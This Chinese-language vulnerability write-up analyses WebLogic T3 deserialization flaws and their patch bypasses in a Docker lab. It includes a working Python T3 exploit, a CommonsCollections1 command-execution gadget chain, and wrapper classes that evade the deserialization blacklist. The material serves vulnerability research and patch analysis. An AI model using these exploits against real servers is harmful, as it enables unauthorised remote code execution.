Java安全之Weblogic漏洞分析与利用(上)
2023-11-2 14:1:0 Author: xz.aliyun.com(查看原文) 阅读量:26 收藏

1. 简介

官方介绍:Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。类似于Tomcat、Jboss等。
安装
Windows下的安装教程:https://www.cnblogs.com/xrg-blog/p/12779853.html
Linux下的安装教程:https://www.cnblogs.com/vhua/p/weblogic_1.html
其他

2. 反序列化漏洞

在weblogic中反序列化漏洞主要分为两种,一种是基于T3协议的反序列化漏洞,还一种是基于XML的反序列化漏洞,本文主要分析基于T3协议有关的漏洞分析
基于T3协议的历史漏洞CVE编号有:CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3245、CVE-2018-3191等

3. T3协议漏洞分析

3.1 前置知识

T3协议概述:在RMI通信过程中,正常传输反序列化的数据过程中,通信使用的是JRMP协议,但是在weblogic的RMI通信过程中使用的是T3协议
特点

  • 服务端可以持续追踪监控客户端是否存活,即为心跳机制
  • 通过建立一次连接可以将全部数据包传输完成

数据交换过程

  • 客户端发送版本号等相关信息
  • 服务端返回服务器相关信息
  • 客户端发送详细信息
  • 服务端再发送详细信息

T3协议建立,可进行数据的传递,相当与TCP握手的过程
结构
T3协议中包含请求包头和请求包体两部分
请求头:
以下面的CVE-2015-4852中的exp请求为例,第一步客户端向服务器发送请求头,得到服务端的响应,抓包分析:

sudo tcpdump -i ens160 port 7001 -w t3.pcap
// 表示协议版本号或者数据包类型等信息的字段
t3 12.2.3
// 标识了发送的序列化数据的容量
AS:255
// 标识自己后面发起的t3的协议头长度
HL:19
// Maximum Segment Size
MS:10000000

服务端的响应:

HELO:10.3.6.0.false
AS:2048
HL:19

HELO后面会返回一个weblogic版本号

请求体:
蓝色部分就是响应,下面部分就是请求体,构造的恶意类就在其中

请求头+请求体:

  • 每个T3数据包中都包含T3协议头
  • 数据包的前4个字节标识了数据包的长度
  • 序列化数据的头部二进制为aced0005
  • 长度标识后面的一个字节标识了该数据包是请求还是响应,01表示请求,02表示响应

根据T3协议的特点,在攻击的时候只需要将恶意的反序列化数据进行拼接即可,参考一张图:

3.2 CVE-2015-4852分析

环境搭建
使用QAX-A-Team的weblogic搭建环境:https://github.com/QAX-A-Team/WeblogicEnvironment
同时需要下载JDK和weblogic,并将其对应放入项目的jdk文件夹和weblogic文件夹,版本的兼容性测试在项目的README文件兼容性测试中提到,按照要求下载对应版本即可
构建docker并运行

sudo docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
sudo docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

访问http://10.140.32.159:33401/console/login/LoginForm.jsp,用户名weblogic,密码:qaxateam01
设置远程调试:
运行对应版本的sh脚本,安装远程调试并从docker中导出jar包

sudo ./run_weblogic1036jdk7u21.sh

在项目目录中会生成middleware文件夹,将其导出放入IDEA中并配置远程调试
新建一个IDEA项目,导入modules和wlserver,建立远程运行

测试:在weblogic/rjvm/InboundMsgAbbrev.class的readObject函数中下断点,使用weblogic漏洞扫描工具扫描
最后能够停在断点处则表示远程调试设置成功

漏洞复现
exp

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = '../ysoserial-all.jar'
    popen = subprocess.Popen(['C:/Program Files/Java/jdk1.7.0_80/bin/java.exe', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "10.140.32.159"
    port = 33401
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

执行完成后,查询是否新建CVE-2015-4852文件

命令执行成功

漏洞分析
在weblogic/rjvm/InboundMsgAbbrev.class的readObject函数中下断点,执行exp

private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {
    // 从输入流var1中读取一个字节,并将其赋值给变量var2,该字节表示序列化对象的类型
    int var2 = var1.read();
    switch (var2) {
        case 0:
            // 需要读取一个自定义的序列化类型的对象
            // 进入这里
            return (new ServerChannelInputStream(var1)).readObject();
        case 1:
            // 表示需要读取一个ASCII字符串
            return var1.readASCII();
        default:
            throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");
    }
}

由于var2的值是0,所以会进入ServerChannelInputStream的readObject函数

这里的ServerChannelInputStream是一个内部类,实现如下

private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
    private final ServerChannel serverChannel;

    private ServerChannelInputStream(MsgAbbrevInputStream var1) throws IOException {
        super(var1);
        this.serverChannel = var1.getServerChannel();
    }

    public ServerChannel getServerChannel() {
        return this.serverChannel;
    }

    // 这是ServerChannelInputStream类重写的ObjectInputStream类的方法,它在反序列化Java对象时负责解析类,将类的序列化描述符加工成该类的Class对象
    protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException {
        // 调用父类的resolveClass方法
        Class var2 = super.resolveClass(var1);
        if (var2 == null) {
            throw new ClassNotFoundException("super.resolveClass returns null.");
        } else {
            ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);
            // 检查解析出来的Java类与要解析的类是否具有相同的serialVersionUID
            if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {
                throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID());
            } else {
                return var2;
            }
        }
    }
}

其中在构造方法中,调用getServerChannel函数处理T3协议,获取socket相关信息

父类(即ObjectInputStream)的resolveClass方法:

protected Class<?> resolveClass(ObjectStreamClass desc)
    throws IOException, ClassNotFoundException
{
    String name = desc.getName();
    try {
        return Class.forName(name, false, latestUserDefinedLoader());
    } catch (ClassNotFoundException ex) {
        Class<?> cl = primClasses.get(name);
        if (cl != null) {
            return cl;
        } else {
            throw ex;
        }
    }
}

其中通过Class.forName,根据类名来获取对应类的Class对象

函数调用链:

resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readClass:1481, ObjectInputStream (java.io)
readObject0:1331, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
defaultReadObject:499, ObjectInputStream (java.io)
readObject:331, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
readSerialData:1913, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:308, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

接下来就是ysoserial中Jdk7u21链的部分,这里可以更改exp中的参数,使用CC链也可
这里将gadget参数更改为CommonsCollections1,使用CC1链
函数调用栈:

transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy96 (com.sun.proxy)
readObject:346, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:-1, GeneratedMethodAccessor89 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

修复
在出现这个漏洞之后,weblogic增加了一些安全防护,防护方案主要从resolveClass入手,如图:

由上面可知,resolveClass函数的作用是从类序列化描述符获取类的Class对象,而具体的防御措施就是在这个函数中增加一个检查,检测序列化描述符是否出现在设置的黑名单中

参考
https://xz.aliyun.com/t/10563
https://xz.aliyun.com/t/9216

3.3 CVE-2016-0638分析

环境搭建
在CVE-2015-4852环境的基础上打上补丁p20780171_1036_Generic和p22248372_1036012_Generic,命令如下:

sudo docker cp ./p20780171_1036_Generic weblogic1036jdk7u21:/p20780171_1036_Generic
sudo docker cp ./p22248372_1036012_Generic  weblogic1036jdk7u21:/p22248372_1036012_Generic

sudo docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/middleware/utils/bsu
mkdir cache_dir
vi bsu.sh   编辑MEM_ARGS参数为1024
cp /p20780171_1036_Generic/* cache_dir/
./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=EJUW -prod_dir=/u01/app/oracle/middleware/wlserver/

cp /p22248372_1036012_Generic/* cache_dir/
./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=ZLNA  -prod_dir=/u01/app/oracle/middleware/wlserver/ –verbose


重启weblogic服务

/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh

有可能使用上面命令无法重启weblogic服务,可以使用stopWeblogic.sh先关闭服务,此时容器应该也会关闭,重新启动容器即可
测试补丁是否打成功,继续使用CVE-2015-4852的exp,观察是否创建文件
设置远程调试:

mkdir wlserver1036
mkdir coherence_3.7
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/server/lib ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

将这些包导入IDA,设置远程IP和端口,详细过程参考CVE-2015-4852远程配置

补丁分析
分析InboundMsgAbbrev.class的resolveClass函数

protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
    String className = descriptor.getName();
    // 该类名在ClassFilter.isBlackListed()方法中被列入黑名单,则抛出InvalidClassException异常,表示反序列化未被授权
    if (className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
        throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
    } else {
        // 如果className不在黑名单中,则调用父类的resolveClass方法来解析该类
        Class c = super.resolveClass(descriptor);
        if (c == null) {
            throw new ClassNotFoundException("super.resolveClass returns null.");
        } else {
            ObjectStreamClass localDesc = ObjectStreamClass.lookup(c);
            if (localDesc != null && localDesc.getSerialVersionUID() != descriptor.getSerialVersionUID()) {
                throw new ClassNotFoundException("different serialVersionUID. local: " + localDesc.getSerialVersionUID() + " remote: " + descriptor.getSerialVersionUID());
            } else {
                return c;
            }
        }
    }
}

因此这里重点需要关注ClassFilter.isBlackListed函数,在CVE-2015-4852的研究中也提到,在防御过程中可以从resolveClass入手,在这两个补丁中则增加对传入的类名的判断。

继续使用CVE-2015-4852的exp进行测试,在weblogic/rjvm/InboundMsgAbbrev.class的resolveClass函数中下断点,F7单步进入来到weblogic/rmi/ClassFilter.class的isBlackListed函数,这个函数主要作用是判断传进来的类名是否在黑名单中

public static boolean isBlackListed(String className) {
    // 检查className的长度是否大于0,并且是否在BLACK_LIST(一个常量Set集合)中
    if (className.length() > 0 && BLACK_LIST.contains(className)) {
        return true;
    } else {
        String pkgName;
        try {
            // 找到最后一个“.”(点号)的位置,获取类名的包名部分
            pkgName = className.substring(0, className.lastIndexOf(46));
        } catch (Exception var3) {
            return false;
        }
        // 如果获取包名成功,并且包名的长度大于0,那么再次检查pkgName是否在BLACK_LIST中
        return pkgName.length() > 0 && BLACK_LIST.contains(pkgName);
    }
}

其中BLACK_LIST包含的值如下:

这个HashSet的由来是在调用ClassFilter中的静态类方法前,会先执行static构造方法,将这些设定的类名存入BLACK_LIST中

这两个if判断应该与某个环境变量的设置有关,具体实现不再关注
在CVE-2015-4852的攻击过程中,会使用CC1链,里面用到了org .apache.commons.collections.functors.ChainedTransformer,这个类的包名在黑名单中,因此这里会返回true,从而导致在resolveClass中抛出异常

ClassFilter.isBlackListed方法同样作用于MsgAbbrevInputStream的resolveClass方法,对其传入的类名进行了同样的黑名单过滤。

protected Class resolveClass(ObjectStreamClass descriptor) throws InvalidClassException, ClassNotFoundException {
    // 通过synchronized关键字锁定了lastCTE对象,以保证线程安全
    synchronized(this.lastCTE) {
        // 获取类名
        String className = descriptor.getName();
        // 如果className不为空,并且其长度大于0,并且该类名在ClassFilter.isBlackListed()方法中被列入黑名单,则抛出InvalidClassException异常
        if (className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
            throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
        }
        // 获取当前线程的类加载器ClassLoader
        ClassLoader ccl = RJVMEnvironment.getEnvironment().getContextClassLoader();
        // 如果lastCTE对象中的clz为null,或者lastCTE对象中的ccl不等于当前线程的类加载器ccl,则重新加载类
        if (this.lastCTE.clz == null || this.lastCTE.ccl != ccl) {
            String classname = this.lastCTE.descriptor.getName();
            // 如果是PreDiablo的对等体,则调用JMXInteropHelper.getJMXInteropClassName()方法获取Interop的类名
            if (this.isPreDiabloPeer()) {
                classname = JMXInteropHelper.getJMXInteropClassName(classname);
            }
            // 从PRIMITIVE_MAP(一个Map集合)中获取classname对应的Class对象
            this.lastCTE.clz = (Class)PRIMITIVE_MAP.get(classname);
            // 如果获取失败,则调用Utilities.loadClass()方法,加载classname对应的Class对象
            if (this.lastCTE.clz == null) {
                this.lastCTE.clz = Utilities.loadClass(classname, this.lastCTE.annotation, this.getCodebase(), ccl);
            }

            this.lastCTE.ccl = ccl;
        }

        this.lastClass = this.lastCTE.clz;
    }

    return this.lastClass;
}

:MsgAbbrevInputStream用于反序列化RMI请求,将请求参数和返回结果转换为Java对象。InboundMsgAbbrev用于处理入站RMI请求,检查和验证请求的合法性,并保证请求的安全性和可靠性
补丁作用位置:

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

既然在ServerChannelInputStream与MsgAbbrevInputStream中都存在黑名单过滤,则

漏洞复现
使用工具weblogic_cmd来绕过补丁进行攻击
使用IDEA打开,使用JDK1.6,配置运行

-H "10.140.32.159" -C "touch /tmp/cve-2016-0638" -B -os linux

如果端口不是7001,可以使用-P参数,也可以在源码中直接修改

运行程序,如果出现sun.tools.asm包未找到,手动添加jdk6中的tools.jar包
在docker中查询是否命令执行成功

创建文件成功,成功绕过补丁

漏洞分析
这里分两步进行漏洞的分析,第一:此工具如何生成payload;第二:生成的payload如何绕过防护成功执行
第一:如何生成payload
观察main函数中的代码

executeBlind(host, port);

进入此函数

public static void executeBlind(String host, String port) throws Exception {

    if (cmdLine.hasOption("B") && cmdLine.hasOption("C")) {
        System.out.println("执行命令:" + cmdLine.getOptionValue("C"));
        WebLogicOperation.blindExecute(host, port, cmdLine.getOptionValue("C"));
        System.out.println("执行blind命令完成");
        System.exit(0);
    }

}

这里的输出步骤正是执行一次控制台输出的信息,因此关键信息在WebLogicOperation.blindExecute中

public static void blindExecute(String host, String port, String cmd) throws Exception {
    String[] cmds = new String[]{cmd};
    // 根据操作系统选择执行命令的程序
    if (Main.cmdLine.hasOption("os")) {
        if (Main.cmdLine.getOptionValue("os").equalsIgnoreCase("linux")) {
            cmds = new String[]{"/bin/bash", "-c", cmd};
        } else {
            cmds = new String[]{"cmd.exe", "/c", cmd};
        }
    }
    // 关键步骤
    // 将需要执行的命令传入该函数,生成payload
    byte[] payload = SerialDataGenerator.serialBlindDatas(cmds);
    // 将payload发送至目标weblogic
    T3ProtocolOperation.send(host, port, payload);
}

生成payload的关键又在于SerialDataGenerator.serialBlindDatas方法

public static byte[] serialBlindDatas(String[] execArgs) throws Exception {
    return serialData(blindExecutePayloadTransformerChain(execArgs));
}

这里的命令执行参数被两层方法包裹,里面那层有关是与CC链有关,外面那层根据方法名应该是将payload的序列化后返回
先看blindExecutePayloadTransformerChain方法

private static Transformer[] blindExecutePayloadTransformerChain(String[] execArgs) throws Exception {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                    String.class, Class[].class}, new Object[]{
                    "getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                    Object.class, Object[].class}, new Object[]{
                    null, new Object[0]}),
            new InvokerTransformer("exec",
                    new Class[]{String[].class}, new Object[]{execArgs}),
            new ConstantTransformer(new HashSet())};
    return transformers;
}

果然这是一条TransformerChain,再看serialData函数

private static byte[] serialData(Transformer[] transformers) throws Exception {
    final Transformer transformerChain = new ChainedTransformer(transformers);
    final Map innerMap = new HashMap();
    // 初始化map 设置laymap
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    InvocationHandler handler = (InvocationHandler) Reflections
            .getFirstCtor(
                    "sun.reflect.annotation.AnnotationInvocationHandler")
            .newInstance(Override.class, lazyMap);

    final Map mapProxy = Map.class
            .cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(),
                    new Class[]{Map.class}, handler));

    handler = (InvocationHandler) Reflections.getFirstCtor(
            "sun.reflect.annotation.AnnotationInvocationHandler")
            .newInstance(Override.class, mapProxy);

    Object _handler = BypassPayloadSelector.selectBypass(handler);
    return Serializables.serialize(_handler);
}

其实这些过程很明显是CC1链的构造过程,与众不同的是倒数第二句代码BypassPayloadSelector.selectBypass,进入该函数

public static Object selectBypass(Object payload) throws Exception {

    if (Main.TYPE.equalsIgnoreCase("marshall")) {
        payload = marshalledObject(payload);
    } else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) {
        payload = streamMessageImpl(Serializables.serialize(payload));
    }
    return payload;
}

这里需要根据TYPE选择对应的处理方法,先看TYPE=streamMessageImpl的处理方法,他先将我们前面构造好的payload进行序列化,然后使用streamMessageImpl函数进行处理

public static Object streamMessageImpl(byte[] object) throws Exception {

    StreamMessageImpl streamMessage = new StreamMessageImpl();
    streamMessage.setDataBuffer(object, object.length);
    return streamMessage;
}

这里创建了一个StreamMessageImpl对象,并通过setDataBuffer方法将序列化后的数据存入该对象的buffer属性,然后返回StreamMessageImpl对象
调用链:

setDataBuffer:906, StreamMessageImpl (weblogic.jms.common)
streamMessageImpl:29, BypassPayloadSelector (com.supeream.weblogic)
selectBypass:38, BypassPayloadSelector (com.supeream.weblogic)
serialData:45, SerialDataGenerator (com.supeream.serial)
serialBlindDatas:95, SerialDataGenerator (com.supeream.serial)
blindExecute:43, WebLogicOperation (com.supeream.weblogic)
executeBlind:62, Main (com.supeream)
main:198, Main (com.supeream)


然后再回到serialData函数中,执行最后一条语句,返回对StreamMessageImpl对象序列化后的数据

最后返回blindExecute方法,执行最后一句,将payload按照T3协议发送至目标
如果在BypassPayloadSelector.selectBypass函数中,TYPE是marshall,会进入marshalledObject方法

private static Object marshalledObject(Object payload) {
    MarshalledObject marshalledObject = null;
    try {
        marshalledObject = new MarshalledObject(payload);
    } catch (IOException e) {
        e.printStackTrace();
    }
    return marshalledObject;
}

此处将payload封装进了marshalledObject对象,MarshalledObject是Java标准库中的一个类,用于将Java对象序列化为字节数组,并能够在网络上传输或存储在磁盘上,后面步骤和上面一致,对该对象进行序列化

第二:生成的payload如何成功利用
在ServerChannelInputStream.resolveClass下断点,使用weblogic_cmd工具向目标发送payload

此时的className正是序列化的第一层,指向weblogic.jms.common.StreamMessageImpl,此类名不在黑名单中,故可以绕过isBlackListed方法

之所以采用StreamMessageImpl,是因为当StreamMessageImpl类的readExternal执行时,会反序列化传入的参数并调用该参数反序列化后对应类的这个readObject方法
在StreamMessageImpl类中的readExternal下断点
函数调用栈:

readExternal:1396, StreamMessageImpl (weblogic.jms.common)
readExternalData:1835, ObjectInputStream (java.io)
readOrdinaryObject:1794, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

该函数如下:

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
    super.readExternal(var1);
    byte var2 = var1.readByte();
    byte var3 = (byte)(var2 & 127);
    if (var3 >= 1 && var3 <= 3) {
        switch (var3) {
            // 如果消息类型为1,则表示该消息是一个普通的消息。该方法将从ObjectInput中读取PayloadStream对象,并将其用ObjectInputStream进行反序列化,最后将反序列化后的Java对象通过writeObject方法写入消息中
            case 1:
                // 从ObjectInput对象中读取PayloadStream对象,并将其作为InputStream对象传递给createPayload方法
                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
                // 将从PayloadStream对象中获取一个BufferInputStream对象,并将其作为参数传递给ObjectInputStream类的构造函数
                BufferInputStream var4 = this.payload.getInputStream();
                ObjectInputStream var5 = new ObjectInputStream(var4);
                this.setBodyWritable(true);
                this.setPropertiesWritable(true);

                try {
                    while(true) {
                        this.writeObject(var5.readObject());
                    }
                } catch (EOFException var9) {
                    try {
                        this.reset();
                        this.setPropertiesWritable(false);
                        PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();
                        this.payload = var7;
                    } catch (JMSException var8) {
                        JMSClientExceptionLogger.logStackTrace(var8);
                    }
                } catch (MessageNotWriteableException var10) {
                    JMSClientExceptionLogger.logStackTrace(var10);
                } catch (javax.jms.MessageFormatException var11) {
                    JMSClientExceptionLogger.logStackTrace(var11);
                } catch (JMSException var12) {
                    JMSClientExceptionLogger.logStackTrace(var12);
                }
                break;
            //如果消息类型为3,则表示该消息是一个压缩消息。如果消息的高位字节不为0,则表示消息是经过压缩的,该方法将调用readExternalCompressedMessageBody方法读取压缩后的消息内容
            case 3:
                if ((var2 & -128) != 0) {
                    this.readExternalCompressedMessageBody(var1);
                    break;
                }
            // 如果消息类型为2,则表示该消息是一个流消息。该方法将从ObjectInput中读取PayloadStream对象,并将其作为消息的PayloadStream对象进行设置
            case 2:
                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
        }

    } else {
        throw JMSUtilities.versionIOException(var3, 1, 3);
    }
}

其中var4是正常反序列化后的数据

其buf的值和第一次payload反序列化后是一样的
然后将var4实例化成一个ObjectInputStream对象,即var5,在try中,var5调用了readObject方法,即实现了真实payload的反序列化

总结
绕过原理:先将恶意的反序列化对象封装在StreamMessageImpl对象中,然后再对StreamMessageImpl对象进行反序列化,将生成的payload发送至目标服务器。
目标服务器拿到payload字节码后,读取到类名StreamMessageImpl,此类名不在黑名单中,故可以绕过resolveClass中的过滤。在调用StreamMessageImpl的readObject时,底层会调用其readExternal方法,对封装的序列化数据进行反序列化,从而调用恶意类的readObject函数

修复
2016年4月p22505423_1036_Generic发布的补丁
在weblogic.jms.common.StreamMessageImpl的readExternal方法创建的ObjectInputStream换成了自定义的FilteringObjectInputStream,并在其中对类进行了过滤,使用网上的一张图

参考
https://www.cnblogs.com/nice0e3/p/14207435.html
https://xz.aliyun.com/t/8529
https://xz.aliyun.com/t/10173

3.4 CVE-2016-3510分析

漏洞分析
此漏洞的利用方式与CVE-2016-0638一致,只不过这里不再借助StreamMessageImpl类,而是借助MarshalledObject类
继续分析weblogic_cmd代码,结合下面代码

public static Object selectBypass(Object payload) throws Exception {

    if (Main.TYPE.equalsIgnoreCase("marshall")) {
        payload = marshalledObject(payload);
    } else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) {
        payload = streamMessageImpl(Serializables.serialize(payload));
    }
    return payload;
}

前面提到,TYPE为streamMessageImpl时,会选择StreamMessageImpl作为绕过黑名单的类,而TYPE为marshall时,则选择MarshalledObject作为绕过黑名单的类
进入marshalledObject方法,此时传递的参数是恶意的对象

private static Object marshalledObject(Object payload) {
    MarshalledObject marshalledObject = null;
    try {
        marshalledObject = new MarshalledObject(payload);
    } catch (IOException e) {
        e.printStackTrace();
    }
    return marshalledObject;
}

这里将第一层payload作为参数实例化一个MarshalledObject对象并返回,观察MarshalledObject类的构造函数

public MarshalledObject(Object var1) throws IOException {
    if (var1 == null) {
        this.hash = 13;
    } else {
        // 创建一个ByteArrayOutputStream对象var2
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        // 并将其作为参数传递给MarshalledObjectOutputStream类的构造函数,创建一个MarshalledObjectOutputStream对象var3
        MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);
        // 将传入的Java对象通过var3.writeObject方法序列化为字节流,并通过var3.flush方法刷新输出流
        var3.writeObject(var1);
        var3.flush();
        // 通过var2.toByteArray方法获取字节流的字节数组,并将该字节数组赋值给objBytes属性
        // 重点在这里,目标payload的字节流存放在这当中
        this.objBytes = var2.toByteArray();
        int var4 = 0;

        // 计算字节数组的哈希值,并将哈希值赋值给hash属性
        for(int var5 = 0; var5 < this.objBytes.length; ++var5) {
            var4 = 31 * var4 + this.objBytes[var5];
        }

        this.hash = var4;
    }
}

最终恶意的payload存放在MarshalledObject对象的objBytes属性中

如何对objBytes读取并调用readObject呢?
在MarshalledObject类中存在一个方法readResolve,它能够将属性objBytes的字节流反序列化成Java对象

public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {
    if (this.objBytes == null) {
        return null;
    } else {
        // 创建一个ByteArrayInputStream对象var1,并将objBytes属性作为参数传递给它
        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);
        // 创建一个ObjectInputStream对象var2,该对象可以将字节流反序列化为Java对象
        ObjectInputStream var2 = new ObjectInputStream(var1);
        Object var3 = var2.readObject();
        var2.close();
        return var3;
    }
}

那么readResolve方法在什么时候调用?
